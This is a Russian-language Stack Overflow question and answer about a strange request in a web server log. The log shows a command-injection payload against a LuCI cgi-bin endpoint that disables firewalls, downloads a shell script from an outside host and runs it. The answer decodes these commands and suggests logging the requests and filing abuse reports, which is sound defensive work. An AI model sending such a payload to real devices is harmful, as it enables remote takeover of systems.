Странные запросы на сервер(cgi-bin запросы и cgi-bin уязвимость)

Рейтинг: 3Ответов: 1Опубликовано: 23.08.2023

Обнаружил, что на публичный сервер в нашем новомодном айти стартапчике поступали странные запросы, видимо, автоматические какие-то. Объясните пожалуйста что это может быть?

[GIN] 2023/08/23 - 11:49:28 
| 404 |       6.885µs | ip клиента(палить не буду, локация США) 
| GET      "/cgi-bin/luci/;stok=/locale?
form=country&operation=write&country=$(cd%20/tmp
%3Brm%20zizuo.sh%3Brm%20-rf%20zizuo.sh
%3Bufw%20disable%3Bsystemctl%20stop%20firewalld.service
%3Bsystemctl%20stop%20firewalld%3Bservice
%20iptables%C2%A0stop%3Bwget%20http%3A
//(тут тоже был ip , локация Нидерланды)/zizuo.sh%3Bchmod
%20777%20zizuo.sh%3Bsh%20zizuo.sh)"

Стоит ли мне проанализировать ситуацию(если да, то как)? Стоит ли париться за безопасность? И хорошо ли что мы отвечаем 404 таким ребятам?

безопасность http клиент-сервер
Источник: Stack Overflow на русском

Ответы

▲ 3Принят

Произошёл стандартный поиск уязвимостей. Спасибо, действительно бот прощупывал на уязвимость cgi запросов.

Один из самых распространённых способов генерирования динамического контента – это использование интерфейса CGI (Common Gateway Interface, общий шлюзовой интерфейс), который позволяет выполнять генерирующие веб-контент скрипты, написанные на разных языках программирования.

По умолчанию модуль уже загружен, но пока что он не обслуживает скрипты; для этого его нужно включить в определенной среде, поэтому в моём случае всё прошло гладко.

Суть таких запросов - попытка выполнить на вашем сервере команды, в данном случае такие(их видно их тела запроса):

...
cd /tmp
rm zizuo.sh
rm -rf zizuo.sh
ufw disable
systemctl stop firewalld.service
systemctl stop firewalld
service iptables stop
wget http ip тут был/zizuo.sh
chmod 777 zizuo.sh
sh zizuo.sh
...

Что с таким делать? Можете просто возвращать 404, а можете возвращать нестандартный код, скажем 444 , чтобы потом было легче найти такое в логах. Если хотите,вы можете отправлять жалобы о такой деятельности , вот инструкция:

  • зайдите на любой whois сервис, например или вот
  • ищите записи об abuse contacts или что-то такое, проще всего поиск по слову abuse сделать
  • по этим контактам можно кинуть абьюз